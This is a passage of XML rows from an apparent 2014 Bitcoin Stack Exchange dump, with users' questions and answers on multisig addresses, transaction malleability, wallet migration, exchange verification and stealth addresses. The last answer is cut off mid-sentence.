  <row Id="29598" PostTypeId="2" ParentId="29595" CreationDate="2014-07-19T19:30:40.547" Score="0" Body="&lt;p&gt;What you can in your very specific case do is include a symlink to a folder that resides outside of your virtual machine (i.e., a shared folder with the host machine).  Then the blockchain can fit in there with plenty of space.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, however, that people have sent virus signatures to the blockchain, so if your host is running windows, you'll have to deal with that and not quarentine specific folders.&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2014-07-19T19:30:40.547" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29599" PostTypeId="2" ParentId="29595" CreationDate="2014-07-19T19:44:14.197" Score="0" Body="&lt;p&gt;There's currently no solution built into Bitcoin Core. I think that it would be possible to write a script that periodically moves the blkxxxx.dat files into a compressed filesystem and replaces the original files with symlinks. These files are large and reasonably compressible, so you might save a few GBs this way. The other database files are not very compressible, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The large blkxxxx.dat files are actually unused by Bitcoin Core except to transmit old blocks to peers, rescan the block chain for wallet transactions, handle reorgs, and fetch arbitrary blocks/transactions via JSON-RPC. Changing Bitcoin Core to discard this data would be fairly easy, but if everyone did this then the network would collapse, so it's not supported currently. In the future, nodes will probably only store a random subset of this data (maybe a few GBs) and discard the rest.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2014-07-19T19:44:14.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29600" PostTypeId="1" CreationDate="2014-07-19T20:39:47.457" Score="2" ViewCount="99" Body="&lt;p&gt;I have seen different trading websites on Bitcoin and a question came to my mind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;&#xA;Why do they require so much identity verification? If I remember correctly &lt;em&gt;MtGox&lt;/em&gt; (despite what later happened) when it started, it didn't require any id\bank verification. So my question here is: is identity verification required by law even when dealing with bitcoin trading or is it an anti-fraud system enacted by the trading operator?&lt;/p&gt;&#xA;" OwnerUserId="18668" LastEditorUserId="5757" LastEditDate="2014-07-19T22:18:47.267" LastActivityDate="2014-09-21T10:17:24.277" Title="Bitcoin trading: security" Tags="|exchanges|regulation|financial-regulations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29604" PostTypeId="2" ParentId="29468" CreationDate="2014-07-20T02:09:46.833" Score="1" Body="&lt;p&gt;A script exists on GitHub by the name of &lt;a href=&quot;https://github.com/rhelwig/coinsweep/tree/master/coinsweep/coinsweeper&quot; rel=&quot;nofollow&quot;&gt;coinsweep&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-07-20T02:09:46.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29605" PostTypeId="2" ParentId="29417" CreationDate="2014-07-20T03:10:10.347" Score="1" Body="&lt;p&gt;You might want to try &lt;a href=&quot;https://github.com/WyseNynja/homebrew-bitcoin&quot; rel=&quot;nofollow&quot;&gt;WyseNynja's Homebrew tap&lt;/a&gt;, you can then install &lt;code&gt;vanitygen&lt;/code&gt; with better dependency handling.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-07-20T03:10:10.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29606" PostTypeId="2" ParentId="29579" CreationDate="2014-07-20T12:50:49.590" Score="2" Body="&lt;p&gt;The error message explains the program. The &lt;code&gt;Flags&lt;/code&gt; field has a bad type -- it must be a JSON integer.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-07-20T12:50:49.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29607" PostTypeId="1" CreationDate="2014-07-19T19:33:31.683" Score="1" ViewCount="199" Body="&lt;p&gt;Does it work differently in relation to a regular forex because of its underlying technology?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can the market calculate its value?&lt;/p&gt;&#xA;" OwnerUserId="18668" OwnerDisplayName="Mark Thompson" LastEditorDisplayName="user5107" LastEditDate="2014-07-20T19:36:58.287" LastActivityDate="2023-12-07T05:46:59.117" Title="How does the Bitcoin forex work?" Tags="|trading|economic-theory|value|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29609" PostTypeId="2" ParentId="1624" CreationDate="2014-07-20T20:05:19.317" Score="0" Body="&lt;p&gt;I was told about Bitcoin a year ago by my friend, who is also a tech, but didn't know you could mine them.  I also thought it could be illegal, so I steered clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I fear about using the consoles as a mining operation, is that the intellectual property rights are owned by the console manufacturers.  Want to run Linux to show that you can?  That's for fun and games.  If you make MONEY off of using your machine 'against the EULA (End User License Agreement), I imagine they could sue you or confiscate your Bitcoins.  This is just my opinion.&lt;/p&gt;&#xA;" OwnerUserId="18673" LastActivityDate="2014-07-20T20:05:19.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29610" PostTypeId="1" AcceptedAnswerId="29644" CreationDate="2014-07-21T00:17:35.927" Score="0" ViewCount="181" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;As I understand them, multisig transactions are actually transactions from multisig addresses (addresses requiring &lt;em&gt;n&lt;/em&gt; sigs).  Is this correct?  (in other words, &quot;multi-sig transactions&quot; == &quot;transactions from multisig addresses&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the limit on &lt;em&gt;n&lt;/em&gt;?  Couldn't an attacker spam the blockchain by creating a giant multisig address with large &lt;em&gt;n&lt;/em&gt;?  What are the precautions in place?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="890" LastActivityDate="2014-07-22T18:43:29.973" Title="Multi-signature transactions: Address based? What is the limit?" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29613" PostTypeId="1" CreationDate="2014-07-21T10:06:11.750" Score="3" ViewCount="172" Body="&lt;p&gt;I’m thinking of investing in a cryptocoin with anonymous transactions feature. So far there are 3 well-known technologies for that: coinjoin (Bitcoin), masternodes (Darkcoin) and CryptoNote (Bytecoin). CryptoNote looks more appealing due its innovative ring signatures technology. Can anybody explain which option would be the best and why?&lt;/p&gt;&#xA;" OwnerDisplayName="user18676" LastEditorUserId="5757" LastEditDate="2014-07-21T11:25:05.327" LastActivityDate="2014-07-21T11:25:05.327" Title="Anonymous transactions technology for a cryptocoin?" Tags="|currencies|privacy|cryptography|" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-04T06:45:42.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="29615" PostTypeId="2" ParentId="29613" CreationDate="2014-07-21T11:18:48.263" Score="1" Body="&lt;p&gt;CoinJoin in Bitcoin does not provide full anonymity and Darksend feature in Darkcoin is merely an implementation of the CoinJoin specification. CryptoNote, on the other hand, allows for completely anonymous transactions through ring signatures and one-time keys. It’s also blockchain analysis resistant. If you are looking to invest in CryptoNote-based coin, Bytecoin is the one to go for. It’s been around for two years (launched in 2012). Has no premine (at least there’s no evidence for that). The developers’ team is reliable and committed. The community is growing steadily. Check out this website &lt;a href=&quot;http://bytecoin.org/&quot; rel=&quot;nofollow&quot;&gt;http://bytecoin.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18678" LastActivityDate="2014-07-21T11:18:48.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29616" PostTypeId="1" AcceptedAnswerId="29619" CreationDate="2014-07-21T12:03:28.453" Score="3" ViewCount="153" Body="&lt;p&gt;Once I create a transaction and relay it to the network, who can alter the transaction id? Can the transaction id change at any time or only when the transaction is confirmed or unconfirmed?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="5406" LastEditDate="2016-01-05T12:33:38.723" LastActivityDate="2016-01-05T12:33:38.723" Title="By whom and when can transaction malleability be applied?" Tags="|transaction-malleability|transaction-id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29619" PostTypeId="2" ParentId="29616" CreationDate="2014-07-21T14:53:42.703" Score="2" Body="&lt;p&gt;The underlying data cannot be changed, only the signature thus id can.  It can be altered by anyone with knowledge of how to alter digital signatures while not invalidating them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a valid transaction, either the altered or unaltered version can be included in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it's cemented into the blockchain, the signature thus id cannot be changed.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-07-21T14:53:42.703" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29620" PostTypeId="1" AcceptedAnswerId="29621" CreationDate="2014-07-21T15:56:23.730" Score="0" ViewCount="178" Body="&lt;p&gt;I have been running a bitcoin app in an old server. I need to move everything to a new server but my question is this: is there a way I can transfer my bitcoin wallet (bitcoin core) to the new server with a clean O/S installation without losing the tx history from my old server's wallet?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-07-21T17:49:06.910" Title="Transfer wallet to new server" Tags="|wallet|bitcoind|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29621" PostTypeId="2" ParentId="29620" CreationDate="2014-07-21T17:49:06.910" Score="1" Body="&lt;p&gt;Just shut down the bitcoin app on the old server, copy the &lt;code&gt;wallet.dat&lt;/code&gt; file to the new server, then start the bitcoin app on the new server. Don't remove anything from the old installation until you 100% confirm that the new installation works.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-07-21T17:49:06.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29622" PostTypeId="1" AcceptedAnswerId="29625" CreationDate="2014-07-21T19:35:00.347" Score="0" ViewCount="107" Body="&lt;p&gt;I was wondering what new cryptocurrency features may be introduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find published new cryptocurrency features?&lt;/p&gt;&#xA;" OwnerUserId="18337" LastEditorUserId="5406" LastEditorDisplayName="user5107" LastEditDate="2014-10-04T07:46:46.980" LastActivityDate="2022-06-07T13:46:23.520" Title="Where can new cryptocurrency features be found?" Tags="|alternatives|altcoin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29623" PostTypeId="1" AcceptedAnswerId="29624" CreationDate="2014-07-21T20:33:30.367" Score="0" ViewCount="71" Body="&lt;p&gt;I was just mining for some Dogecoins with Eobot and parallel I had BGFminer set on solo mining + 4 pools from eclipse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that the moment the Eobot kicked in (it started on mining Dogecoins as they just started on increasing) I saw a notice of Bitcoin transaction, asap I opened the client to see it i found the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m9Rza.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best part is that I did not post my sending address anywhere nor iniciated this transaction (And seems I have this wallet since a week and this is the entire  amount that was stored there) so is it possible that i got some Trojan on my PC that somehow managed to process this transaction or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="18686" LastEditorUserId="4525" LastEditDate="2014-07-22T19:49:21.620" LastActivityDate="2014-07-22T19:49:21.620" Title="Bitcoin-qt transaction not initiated by the wallet owner" Tags="|transactions|wallet|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29624" PostTypeId="2" ParentId="29623" CreationDate="2014-07-21T20:39:19.763" Score="0" Body="&lt;p&gt;Your hypothesis of a Trojan seems likely, unfortunately. Just be glad you didn't have more coins in that wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably want to wipe and reinstall the computer in question.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-21T20:39:19.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29625" PostTypeId="2" ParentId="29622" CreationDate="2014-07-21T23:33:29.750" Score="3" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;nofollow&quot;&gt;hardfork wishlist for Bitcoin&lt;/a&gt;. These are changes that are just to hard too do in Bitcoin as they would require major changes to existing infrastructure, but are generally considered good ideas or at least worth experimenting with.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-07-21T23:33:29.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29628" PostTypeId="1" CreationDate="2014-07-22T06:17:04.577" Score="1" ViewCount="359" Body="&lt;p&gt;I used to have a bot that interacted with the btce api through java/netbeans, and then after the MtGox fiasco I shut it down for a while. Now I am trying to start it back up, but while bitstamp and cbx are working fine, my btce exchange interface is broken. I am getting a &quot;PKIK path building failed, unable to find valid certification path&quot;. Given that btce changed their certificate recently, it seems that this certificate change must be related to the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done some research and evidently this means that I need to add the new btce certificate to my trust store in java. After some further research, I understand that this involves adding a cetificate file to my &lt;code&gt;cacerts&lt;/code&gt; keystore in my&lt;code&gt;c:/program files/java/jre8/lib/security&lt;/code&gt; directory. I have tried doing it manually through firefox to a cer file,  and putting it inside program files (x86)/java/jre8/bin and installing it through the command line using the following commands inside the same /java/jre8/bin directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$set KEYTOOL_PASS = 'changeit'&#xA;$keytool -import trustcacerts -keystore ../lib/security/cacerts -storepass %KEYTOOL_PASS% -noprompt -alias 'BTCE' -file btce.cer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this did not work either. I talked to a friend who told me that perhaps I not only need to add the btce certificate, but also the godaddy G2 certificates on which it depends. So I exported those from firefox and added them to my keystore as well. But still I am getting the same &quot;PKIK path building failed&quot; error when I try to run my program in netbeans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out what to do from here. My friend who is a server-side programmer is out of ideas, and I have tried every linux command I can find by googling this issue. And BTC-E.com says that they do not offer programming support, and said, I quote, &quot;there is nothing we can do to help&quot;. so I am now turning to bc stack exchange. I would appreciate your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul&lt;/p&gt;&#xA;" OwnerUserId="6235" LastEditorUserId="6235" LastEditDate="2014-07-23T14:35:01.657" LastActivityDate="2016-10-04T08:14:28.560" Title="Problems accessing BTCE api after certificate change?" Tags="|api|btce|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29629" PostTypeId="1" AcceptedAnswerId="32052" CreationDate="2014-07-22T07:32:13.460" Score="0" ViewCount="193" Body="&lt;p&gt;I want to create a MultiSig address where user A sends the public key of its bitcoin address (gets saved in the database). User B gets notified that he must send his public key to create the 2-3 MultiSig address. The third address is provided by me as a mediator. My concern is that if the server is hacked, the hacker can change my source code (PHP) so that 2 of 3 public keys are in his possession. Any ideas on how I can secure this 2-3 MultiSig address creation scenario?&lt;/p&gt;&#xA;" OwnerUserId="5104" LastEditorUserId="15412" LastEditDate="2014-07-22T11:08:01.773" LastActivityDate="2014-10-20T23:04:26.823" Title="Creating MultiSig from server" Tags="|multi-signature|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29631" PostTypeId="1" AcceptedAnswerId="29639" CreationDate="2014-07-22T11:32:06.713" Score="1" ViewCount="557" Body="&lt;p&gt;After a multisig address is created, can one of the private keys of that address be known by an unrelated person and the security of that address still remain uncompromised?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding being that nobody would be able to spend from that address without the other signatures&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="15412" LastEditDate="2014-07-22T15:53:12.017" LastActivityDate="2017-09-22T14:02:16.863" Title="Can unrelated people know the private key of a multisig address?" Tags="|private-key|multi-signature|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29632" PostTypeId="2" ParentId="17690" CreationDate="2014-07-22T12:24:09.567" Score="8" Body="&lt;p&gt;One more site to get free test bitcoins...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kuttler.eu/bitcoin/btc/faucet/&quot;&gt;http://kuttler.eu/bitcoin/btc/faucet/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18278" LastActivityDate="2014-07-22T12:24:09.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29633" PostTypeId="1" AcceptedAnswerId="29637" CreationDate="2014-07-22T12:38:33.073" Score="1" ViewCount="1200" Body="&lt;p&gt;When seeing transactions I see that the number of confirmations keeps increasing without any limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to know if there is any time limit on including a already confirmed transaction in a block by a miner.  Like transactions not older than a year, etc.  &lt;/p&gt;&#xA;" OwnerUserId="18278" LastEditorDisplayName="user5107" LastEditDate="2014-07-22T15:34:33.007" LastActivityDate="2014-07-23T12:03:17.480" Title="Confirmation limit" Tags="|transactions|blockchain|block|confirmations|proof-of-work|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29634" PostTypeId="2" ParentId="8918" CreationDate="2014-07-22T12:51:10.927" Score="1" Body="&lt;p&gt;Yes, &lt;strong&gt;block&lt;/strong&gt; is a list of &lt;strong&gt;transaction&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Your &lt;strong&gt;transaction&lt;/strong&gt; does not go to a specific &lt;strong&gt;block&lt;/strong&gt;. A &lt;strong&gt;miner&lt;/strong&gt; chooses a&#xA;list of transactions and work on them to &quot;&lt;strong&gt;solve&lt;/strong&gt;&quot; the block and once a&#xA;block is &quot;solved&quot;, it is broadcast to the network, and all the transactions in the block becomes confirmed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;0-confirmed or unconfirmed transaction is one which is not yet&#xA;included in any block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A miner cannot modify (adding or removing transactions) a block which is &quot;solved&quot;,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18278" LastActivityDate="2014-07-22T12:51:10.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29635" PostTypeId="2" ParentId="10951" CreationDate="2014-07-22T12:51:16.833" Score="0" Body="&lt;p&gt;1) no, the order is not necessarily completely when your trade request is returned. Try posting a limit order that is very far out in the book. You guessed correctly... the order has only been completed immediately if it returns a zero. If it takes longer to be completed, it will be filled without ever returning 0, in which case you need to check your transactions or your active orders in order to know when it gets filled. One of these in combination with monitoring your balances should do the trick. So Jon Stevens is wrong btw because using your balance info in conjunction with your active orders makes it easy to tell for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and yes it is the same for buys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note is that assuming you want to implement similar checks on other exchanges, you have to be careful with the conventions of how balances are allocated between your open orders and your regular balance. For example, some exchanges like campbx differentiate between your liquid btc and your total btc, so you can easily see how much are tied up in orders. However, on btce you only have one metric, so when your btc suddenly drop you know this is because you have entered an order. And if you are using balances as flags for transactions you have to be careful not to mistake a cancelled sell order for a buy order, as both result in you btc suddenly jumping up. In order to make this disctintion it will help to monitor both the change in your btc and the change in your usd (or whatever currency you purchased it with) in conjuntion. Both changing at the same time means transaction, only one changing means either btc deposit or cancellation. You need even further flags to distinguish betweent the latter two. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general I found that even if you don't think it's necessary, you should figure out a way of confirming every action you trigger or expect with exogeneous information from the APIs. Every different interaction with the api has a unique signature in the data (you just have to pinpoint it, sometimes with limited data on APIs like BTC-E), so the best practice is that after you trigger or expect any action, make sure that it is confirmed by some unique signature before you move on. It will make debugging much easier because it ensures that the state of your program really is what you think it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="6235" LastEditorUserId="2306" LastEditDate="2015-10-02T21:34:44.247" LastActivityDate="2015-10-02T21:34:44.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29637" PostTypeId="2" ParentId="29633" CreationDate="2014-07-22T13:41:37.143" Score="2" Body="&lt;p&gt;A &lt;a href=&quot;https://en.bitcoin.it/wiki/Confirmation&quot; rel=&quot;nofollow&quot;&gt;&quot;confirmation&quot;&lt;/a&gt; is merely how many blocks that are after the confirmed transaction in the blockchain plus the transaction's block itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if a transaction is in block 5,000, and there are now 5,005 blocks then that transaction has 6 confirmations.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-07-23T12:03:17.480" LastActivityDate="2014-07-23T12:03:17.480" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29639" PostTypeId="2" ParentId="29631" CreationDate="2014-07-22T16:02:58.723" Score="3" Body="&lt;p&gt;I think your question may stem from a misconception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ordinary Bitcoin address is the hash of a public key (plus a few extra bytes), which in turn is associated to a private key.  So in that sense an ordinary address has a private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisig addresses do not work like that.  The address is not the hash of a public key, and so there is no private key directly associated to the address.  Rather, a multisig address is the hash of a script.  The script in turn lists the public keys whose signatures will be needed to redeem the transaction.  I think it is these keys that you are referring to as &quot;existing addresses&quot; in your comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So spending the transactions requires you to know the private keys of the intended recipients.  There is no other private key involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is no real problem if other people know the &lt;em&gt;script&lt;/em&gt; whose hash is the multisig address.  The only extra information it contains is the public keys of the recipients.  This might help someone identify who those recipients are (though the script has to be revealed in order to spend the transaction, so this information will eventually be public anyway), but it doesn't help them spend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see these answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6100/how-will-multisig-addresses-work&quot;&gt;How will multisig addresses work?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9678/what-is-script-hash-address-exactly-and-how-does-it-work/9703#9703&quot;&gt;What is &amp;quot;Script Hash&amp;quot; address exactly and how does it work?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-07-22T16:02:58.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29640" PostTypeId="1" AcceptedAnswerId="29649" CreationDate="2014-07-22T17:14:01.660" Score="2" ViewCount="130" Body="&lt;p&gt;Is it possible to use colored coins with stealth addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main consideration being that coloring a unit of cryptocurrency requires being able to keep track of its exact location at all times with a public blockchain&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-07-22T20:02:05.020" Title="Colored coin with stealth addresses" Tags="|address|colored-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29642" PostTypeId="2" ParentId="4376" CreationDate="2014-07-22T18:00:33.733" Score="0" Body="&lt;p&gt;Here is a bitcointalk thread where a member posted important statistics and reviews about some of the primary exchanges. This thread compares the following exchanges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=695082.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=695082.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitstamp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC-e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitfinex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTCchina&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HUOBI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LakeBTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kraken&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CAVirtex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OKCoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LocalBitcoins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hitbtc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinMKT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bleutrade.com&quot; rel=&quot;nofollow&quot;&gt;Bleutrade&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17080" LastEditorUserId="19554" LastEditDate="2014-10-02T08:35:37.843" LastActivityDate="2014-10-02T08:35:37.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29643" PostTypeId="2" ParentId="29629" CreationDate="2014-07-22T18:36:12.280" Score="0" Body="&lt;p&gt;As long as what you ask from the users are only their public key and signature, you are safe. You only have the third private key per your description, users A and B have the 2 others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to have a look at BlockCypher's multisig API that implements a scheme very similar to what you describe (only the mechanism for notification is left for you to choose):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#multisig&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#multisig&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-07-22T18:36:12.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29644" PostTypeId="2" ParentId="29610" CreationDate="2014-07-22T18:43:29.973" Score="1" Body="&lt;p&gt;I assume im my answer that you're asking about P2SH Multisig transactions as you're mentioning multisig addresses (see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23893/what-are-the-limits-of-m-and-n-in-m-of-n-multisig-addresses&quot;&gt;What are the limits of m and n in m-of-n multisig addresses?&lt;/a&gt; for the 2 types of multisig schemes).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;That is correct, usually what's called the multisig transaction is the one that spends from a multisig address. Note that prior to that, another transaction must have funded the multisig address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script length defines the limit. For each additional signature required the script will have to be longer and the limit in this case is 520 bytes. Basically, you can go up to 7-of-7 safely.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15524" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-07-22T18:43:29.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29646" PostTypeId="2" ParentId="12015" CreationDate="2014-07-22T19:17:20.137" Score="2" Body="&lt;p&gt;Yes you can, but the whole point of hashing is to share the results with the blockchain which &lt;em&gt;can only be done while online&lt;/em&gt;. Without sharing results there is a very big chance you are calculating the wrong transactions--transactions which have already been hashed by someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be like mining gold inside a mountain but never bringing it to the surface. Why bother?&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-07-22T19:17:20.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29647" PostTypeId="2" ParentId="20985" CreationDate="2014-07-22T19:30:00.570" Score="5" Body="&lt;p&gt;1) The exchange that has your bitcoin should have the option to &lt;em&gt;withdraw&lt;/em&gt; bitcoins. It will then ask you to what bitcoin address you want to withdraw and how much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The exchange you want to transfer the bitcoin to should have the option to &lt;em&gt;deposit&lt;/em&gt; bitcoins, which will give you a bitcoin address to transfer to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) You can then directly withdraw your bitcoins to your deposit address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Almost always these kinds of withdrawals and deposits are free except for the miner's fee, which will usually be BTC 0.0001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) No, exchange for cash is not always supported. I don't think a lot of exchanges would support this at all actually (unless by cash you also mean bank transfers?)&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-07-22T19:30:00.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29648" PostTypeId="2" ParentId="20701" CreationDate="2014-07-22T19:48:51.277" Score="43" Body="&lt;p&gt;As I understand it, the &quot;stealth address&quot; is intended to address a very specific problem.  If you wish to solicit payments from the public, say by posting a donation address on your website, then everyone can see on the block chain that all those payments went to you, and perhaps try to track how you spend them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a stealth address, you ask payers to generate a unique address in such a way that you (using some additional data which is attached to the transaction) can deduce the corresponding private key.  So although you publish a single &quot;stealth address&quot; on your website, the block chain sees all your incoming payments as going to separate addresses and has no way to correlate them.  (Of course, any individual payer knows their payment went to you, and can trace how you spend it, but they don't learn anything about other people's payments to you.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can get the same effect another way: just give each payer a 